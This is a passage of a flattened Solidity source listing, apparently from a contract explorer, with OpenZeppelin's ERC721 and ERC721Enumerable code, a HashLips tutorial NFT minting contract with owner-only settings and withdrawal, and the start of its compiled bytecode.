the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); _afterTokenTransfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); _afterTokenTransfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); _afterTokenTransfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Enumerable.sol) pragma solidity ^0.8.0; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // File: Spunk.sol // Amended by HashLips /** !Disclaimer! These contracts have been used to create tutorials, and was created for the purpose to teach people how to create smart contracts on the blockchain. please review this code on your own before using any of the following code for production. HashLips will not be liable in any way if for the use of the code. That being said, the code has been tested to the best of the developers' knowledge to work as intended. */ pragma solidity >=0.7.0 <0.9.0; contract NFT is ERC721Enumerable, Ownable { using Strings for uint256; string baseURI; string public baseExtension = ".json"; uint256 public cost = 0.0 ether; uint256 public maxSupply = 555; uint256 public maxMintAmount = 10; bool public paused = false; bool public revealed = true; string public notRevealedUri; constructor( string memory _name, string memory _symbol, string memory _initBaseURI, string memory _initNotRevealedUri ) ERC721(_name, _symbol) { setBaseURI(_initBaseURI); setNotRevealedURI(_initNotRevealedUri); } // internal function _baseURI() internal view virtual override returns (string memory) { return baseURI; } // public function mint(uint256 _mintAmount) public payable { uint256 supply = totalSupply(); require(!paused); require(_mintAmount > 0); require(_mintAmount <= maxMintAmount); require(supply + _mintAmount <= maxSupply); if (msg.sender != owner()) { require(msg.value >= cost * _mintAmount); } for (uint256 i = 1; i <= _mintAmount; i++) { _safeMint(msg.sender, supply + i); } } function walletOfOwner(address _owner) public view returns (uint256[] memory) { uint256 ownerTokenCount = balanceOf(_owner); uint256[] memory tokenIds = new uint256[](ownerTokenCount); for (uint256 i; i < ownerTokenCount; i++) { tokenIds[i] = tokenOfOwnerByIndex(_owner, i); } return tokenIds; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); if(revealed == false) { return notRevealedUri; } string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension)) : ""; } //only owner function reveal() public onlyOwner { revealed = true; } function setCost(uint256 _newCost) public onlyOwner { cost = _newCost; } function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner { maxMintAmount = _newmaxMintAmount; } function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner { notRevealedUri = _notRevealedURI; } function setBaseURI(string memory _newBaseURI) public onlyOwner { baseURI = _newBaseURI; } function setBaseExtension(string memory _newBaseExtension) public onlyOwner { baseExtension = _newBaseExtension; } function pause(bool _state) public onlyOwner { paused = _state; } function withdraw() public payable onlyOwner { // This will payout the owner 95% of the contract balance. // Do not remove this otherwise you will not be able to withdraw the funds. // ============================================================================= (bool os, ) = payable(owner()).call{value: address(this).balance}(""); require(os); // ============================================================================= } }
0x60806040526004361061020f5760003560e01c80635c975abb11610118578063a475b5dd116100a0578063d5abeb011161006f578063d5abeb01146105bc578063da3ef23f146105d2578063e985e9c5146105f2578063f2c4ce1e1461063b578063f2fde38b1461065b57600080fd5b8063a475b5dd14610552578063b88d4fde14610567578063c668286214610587578063c87b56dd1461059c57600080fd5b80637f00c7a6116100e75780637f00c7a6146104cc5780638da5cb5b146104ec57806395d89b411461050a578063a0712d681461051f578063a22cb4651461053257600080fd5b80635c975abb1461045d5780636352211e1461047757806370a0823114610497578063715018a6146104b757600080fd5b806323b872dd1161019b578063438b63001161016a578063438b6300146103b157806344a0d68a146103de5780634f6ccce7146103fe578063518302271461041e57806355f804b31461043d57600080fd5b806323b872dd146103495780632f745c59146103695780633ccfd60b1461038957806342842e0e1461039157600080fd5b8063081c8c44116101e2578063081c8c44146102c5578063095ea7b3146102da57806313faede6146102fa57806318160ddd1461031e578063239c70ae1461033357600080fd5b806301ffc9a71461021457806302329a291461024957806306fdde031461026b578063081812fc1461028d575b600080fd5b34801561022057600080fd5b5061023461022f366004611f74565b61067b565b60405190151581526020015b60405180910390f35b34801561025557600080fd5b50610269610264366004611f59565b6106a6565b005b34801561027757600080fd5b506102806106ec565b6040516102409190612181565b34801561029957600080fd5b506102ad6102a8366004611ff7565b61077e565b6040516001600160a01b039091168152602001610240565b3480156102d157600080fd5b50610280610813565b3480156102e657600080fd5b506102696102f5366004611f2f565b6108a1565b34801561030657600080fd5b50610310600d5481565b604051908152602001610240565b34801561032a57600080fd5b50600854610310565b34801561033f57600080fd5b50610310600f5481565b34801561035557600080fd5b50610269610364366004611e4d565b6109b7565b34801561037557600080fd5b50610310610384366004611f2f565b6109e8565b610269610a7e565b34801561039d57600080fd5b506102696103ac366004611e4d565b610b1c565b3480156103bd57600080fd5b506103d16103cc366004611dff565b610b37565b604051610240919061213d565b3480156103ea57600080fd5b506102696103f9366004611ff7565b610bd9565b34801561040a57600080fd5b50610310610419366004611ff7565b610c08565b34801561042a57600080fd5b5060105461023490610100900460ff1681565b34801561044957600080fd5b50610269610458366004611fae565b610c9b565b34801561046957600080fd5b506010546102349060ff1681565b34801561048357600080fd5b506102ad610492366004611ff7565b610cdc565b3480156104a357600080fd5b506103106104b2366004611dff565b610d53565b3480156104c357600080fd5b50610269610dda565b3480156104d857600080fd5b506102696104e7366004611ff7565b610e10565b3480156104f857600080fd5b50600a546001600160a01b03166102ad565b34801561051657600080fd5b50610280610e3f565b61026961052d366004611ff7565b610e4e565b34801561053e57600080fd5b5061026961054d366004611f05565b610efb565b34801561055e57600080fd5b50610269610f06565b34801561057357600080fd5b50610269610582366004611e89565b610f41565b34801561059357600080fd5b50610280610f79565b3480156105a857600080fd5b506102806105b7366004611ff7565b610f86565b3480156105c857600080fd5b50610310600e5481565b3480156105de57600080fd5b506102696105ed366004611fae565b611105565b3480156105fe57600080fd5b5061023461060d366004611e1a565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b34801561064757600080fd5b50610269610656366004611fae565b611142565b34801561066757600080fd5b50610269610676366004611dff565b61117f565b60006001600160e01b0319821663780e9d6360e01b14806106a057506106a082611217565b92915050565b600a546001600160a01b031633146106d95760405162461bcd60e51b81526004016106d0906121e6565b60405180910390fd5b6010805460ff1916911515919091179055565b6060600080546106fb906122fa565b80601f0160208091040260200160405190810160405280929190818152602001828054610727906122fa565b80156107745780601f1061074957610100808354040283529160200191610774565b820191906000526020600020905b81548152906001019060200180831161075757829003601f168201915b5050505050905090565b6000818152600260205260408120546001600160a01b03166107f75760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084016106d0565b506000908152600460205260409020546001600160a01b031690565b60118054610820906122fa565b80601f016020809104026020016040519081016040528092919081815260200182805461084c906122fa565b80156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b505050505081565b60006108ac82610cdc565b9050806001600160a01b0316836001600160a01b0316141561091a5760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b60648201526084016106d0565b336001600160a01b03821614806109365750610936813361060d565b6109a85760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c000000000000000060648201526084016106d0565b6109b28383611267565b505050565b6109c133826112d5565b6109dd5760405162461bcd60e51b81526004016106d09061221b565b6109b28383836113cc565b60006109f383610d53565b8210610a555760405162461bcd60e51b815260206004820152602b60248201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560448201526a74206f6620626f756e647360a81b60648201526084016106d0565b506001600160a01b03919091166000908152600660209081526040808320938352929052205490565b600a546001600160a01b03163314610aa85760405162461bcd60e51b81526004016106d0906121e6565b6000610abc600a546001600160a01b031690565b6001600160a01b03164760405160006040518083038185875af1925050503d8060008114610b06576040519150601f19603f3d011682016040523d82523d6000602084013e610b0b565b606091505b5050905080610b1957600080fd5b50565b6109b283838360405180602001604052806000815250610f41565b60606000610b4483610d53565b905060008167ffffffffffffffff811115610b6157610b616123bc565b604051908082528060200260200182016040528015610b8a578160200160208202803683370190505b50905060005b82811015610bd157610ba285826109e8565b828281518110610bb457610bb46123a6565b602090810291909101015280610bc981612335565b915050610b90565b509392505050565b600a546001600160a01b03163314610c035760405162461bcd60e51b81526004016106d0906121e6565b600d55565b6000610c1360085490565b8210610c765760405162461bcd60e51b815260206004820152602c60248201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60448201526b7574206f6620626f756e647360a01b60648201526084016106d0565b60088281548110610c8957610c896123a6565b90600052602060002001549050919050565b600a546001600160a01b03163314610cc55760405162461bcd60e51b81526004016106d0906121e6565b8051610cd890600b906020840190611cc4565b5050565b6000818152600260205260408120546001600160a01b0316806106a05760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b60648201526084016106d0565b60006001600160a01b038216610dbe5760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b60648201526084016106d0565b506001600160a01b031660009081526003602052604090205490565b600a546001600160a01b03163314610e045760405162461bcd60e51b81526004016106d0906121e6565b610e0e6000611573565b565b600a546001600160a01b03163314610e3a5760405162461bcd60e51b81526004016106d0906121e6565b600f55565b6060600180546106fb906122fa565b6000610e5960085490565b60105490915060ff1615610e6c57600080fd5b60008211610e7957600080fd5b600f54821115610e8857600080fd5b600e54610e95838361226c565b1115610ea057600080fd5b600a546001600160a01b03163314610ecc5781600d54610ec09190612298565b341015610ecc57600080fd5b60015b8281116109b257610ee933610ee4838561226c565b6115c5565b80610ef381612335565b915050610ecf565b610cd83383836115df565b600a546001600160a01b03163314610f305760405162461bcd60e51b81526004016106d0906121e6565b6010805461ff001916610100179055565b610f4b33836112d5565b610f675760405162461bcd60e51b81526004016106d09061221b565b610f73848484846116ae565b50505050565b600c8054610820906122fa565b6000818152600260205260409020546060906001600160a01b03166110055760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201526e3732bc34b9ba32b73a103a37b5b2b760891b60648201526084016106d0565b601054610100900460ff166110a65760118054611021906122fa565b80601f016020809104026020016040519081016040528092919081815260200182805461104d906122fa565b801561109a5780601f1061106f5761010080835404028352916020019161109a565b820191906000526020600020905b81548152906001019060200180831161107d57829003601f168201915b50505050509050919050565b60006110b06116e1565b905060008151116110d057604051806020016040528060008152506110fe565b806110da846116f0565b600c6040516020016110ee9392919061203c565b6040516020818303038152906040525b9392505050565b600a546001600160a01b0316331461112f5760405162461bcd60e51b81526004016106d0906121e6565b8051610cd890600c906020840190611cc4565b600a546001600160a01b0316331461116c5760405162461bcd60e51b81526004016106d0906121e6565b8051610cd8906011906020840190611cc4565b600a546001600160a01b031633146111a95760405162461bcd60e51b81526004016106d0906121e6565b6001600160a01b03811661120e5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016106d0565b610b1981611573565b60006001600160e01b031982166380ac58cd60e01b148061124857506001600160e01b03198216635b5e139f60e01b145b806106a057506301ffc9a760e01b6001600160e01b03198316146106a0565b600081815260046020526040902080546001600160a01b0319166001600160a01b038416908117909155819061129c82610cdc565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000818152600260205260408120546001600160a01b031661134e5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084016106d0565b600061135983610cdc565b9050806001600160a01b0316846001600160a01b031614806113945750836001600160a01b03166113898461077e565b6001600160a01b0316145b806113c457506001600160a01b0380821660009081526005602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b03166113df82610cdc565b6001600160a01b0316146114435760405162461bcd60e51b815260206004820152602560248201527f4552433732313a207472616e736665722066726f6d20696e636f72726563742060448201526437bbb732b960d91b60648201526084016106d0565b6001600160a01b0382166114a55760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b60648201526084016106d0565b6114b08383836117ee565b6114bb600082611267565b6001600160a01b03831660009081526003602052604081208054600192906114e49084906122b7565b90915550506001600160a01b038216600090815260036020526040812080546001929061151290849061226c565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b600a80546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b610cd88282604051806020016040528060008152506118a6565b816001600160a01b0316836001600160a01b031614156116415760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c65720000000000000060448201526064016106d0565b6001600160a01b03838116600081815260056020908152604080832094871680845294825291829020805460ff191686151590811790915591519182527f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a3505050565b6116b98484846113cc565b6116c5848484846118d9565b610f735760405162461bcd60e51b81526004016106d090612194565b6060600b80546106fb906122fa565b6060816117145750506040805180820190915260018152600360fc1b602082015290565b8160005b811561173e578061172881612335565b91506117379050600a83612284565b9150611718565b60008167ffffffffffffffff811115611759576117596123bc565b6040519080825280601f01601f191660200182016040528015611783576020820181803683370190505b5090505b84156113c4576117986001836122b7565b91506117a5600a86612350565b6117b090603061226c565b60f81b8183815181106117c5576117c56123a6565b60200101906001600160f81b031916908160001a9053506117e7600a86612284565b9450611787565b6001600160a01b0383166118495761184481600880546000838152600960205260408120829055600182018355919091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30155565b61186c565b816001600160a01b0316836001600160a01b03161461186c5761186c83826119e6565b6001600160a01b038216611883576109b281611a83565b826001600160a01b0316826001600160a01b0316146109b2576109b28282611b32565b6118b08383611b76565b6118bd60008484846118d9565b6109b25760405162461bcd60e51b81526004016106d090612194565b60006001600160a01b0384163b156119db57604051630a85bd0160e11b81526001600160a01b0385169063150b7a029061191d903390899088908890600401612100565b602060405180830381600087803b15801561193757600080fd5b505af1925050508015611967575060408051601f3d908101601f1916820190925261196491810190611f91565b60015b6119c1573d808015611995576040519150601f19603f3d011682016040523d82523d6000602084013e61199a565b606091505b5080516119b95760405162461bcd60e51b81526004016106d090612194565b805181602001fd5b6001600160e01b031916630a85bd0160e11b1490506113c4565b506001949350505050565b600060016119f384610d53565b6119fd91906122b7565b600083815260076020526040902054909150808214611a50576001600160a01b03841660009081526006602090815260408083208584528252808320548484528184208190558352600790915290208190555b5060009182526007602090815260408084208490556001600160a01b039094168352600681528383209183525290812055565b600854600090611a95906001906122b7565b60008381526009602052604081205460088054939450909284908110611abd57611abd6123a6565b906000526020600020015490508060088381548110611ade57611ade6123a6565b6000918252602080832090910192909255828152600990915260408082208490558582528120556008805480611b1657611b16612390565b6001900381819060005260206000200160009055905550505050565b6000611b3d83610d53565b6001600160a01b039093166000908152600660209081526040808320868452825280832085905593825260079052919091209190915550565b6001600160a01b038216611bcc5760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f206164647265737360448201526064016106d0565b6000818152600260205260409020546001600160a01b031615611c315760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e7465640000000060448201526064016106d0565b611c3d600083836117ee565b6001600160a01b0382166000908152600360205260408120805460019290611c6690849061226c565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b828054611cd0906122fa565b90600052602060002090601f016020900481019282611cf25760008555611d38565b82601f10611d0b57805160ff1916838001178555611d38565b82800160010185558215611d38579182015b82811115611d38578251825591602001919060010190611d1d565b50611d44929150611d48565b5090565b5b80821115611d445760008155600101611d49565b600067ffffffffffffffff80841115611d7857611d786123bc565b604051601f8501601f19908116603f01168101908282118183101715611da057611da06123bc565b81604052809350858152868686011115611db957600080fd5b858560208301376000602087830101525050509392505050565b80356001600160a01b0381168114611dea57600080fd5b919050565b80358015158114611dea57600080fd5b600060208284031215611e1157600080fd5b6110fe82611dd3565b60008060408385031215611e2d57600080fd5b611e3683611dd3565b9150611e4460208401611dd3565b90509250929050565b600080600060608486031215611e6257600080fd5b611e6b84611dd3565b9250611e7960208501611dd3565b9150604084013590509250925092565b60008060008060808587031215611e9f57600080fd5b611ea885611dd3565b9350611eb660208601611dd3565b925060408501359150606085013567ffffffffffffffff811115611ed957600080fd5b8501601f81018713611eea57600080fd5b611ef987823560208401611d5d565b91505092959194509250565b60008060408385031215611f1857600080fd5b611f2183611dd3565b9150611e4460208401611def565b60008060408385031215611f4257600080fd5b611f4b83611dd3565b946020939093013593505050565b600060208284031215611f6b57600080fd5b6110fe82611def565b600060208284031215611f8657600080fd5b81356110fe816123d2565b600060208284031215611fa357600080fd5b81516110fe816123d2565b600060208284031215611fc057600080fd5b813567ffffffffffffffff811115611fd757600080fd5b8201601f81018413611fe857600080fd5b6113c484823560208401611d5d565b60006020828403121561200957600080fd5b5035919050565b600081518084526120288160208601602086016122ce565b601f01601f19169290920160200192915050565b60008451602061204f8285838a016122ce565b8551918401916120628184848a016122ce565b8554920191600090600181811c908083168061207f57607f831692505b85831081141561209d57634e487b7160e01b85526022600452602485fd5b8080156120b157600181146120c2576120ef565b60ff198516885283880195506120ef565b60008b81526020902060005b858110156120e75781548a8201529084019088016120ce565b505083880195505b50939b9a5050505050505050505050565b6001600160a01b038581168252841660208201526040810183905260806060820181905260009061213390830184612010565b9695505050505050565b6020808252825182820181905260009190848201906040850190845b8181101561217557835183529284019291840191600101612159565b50909695505050505050565b6020815260006110fe6020830184612010565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b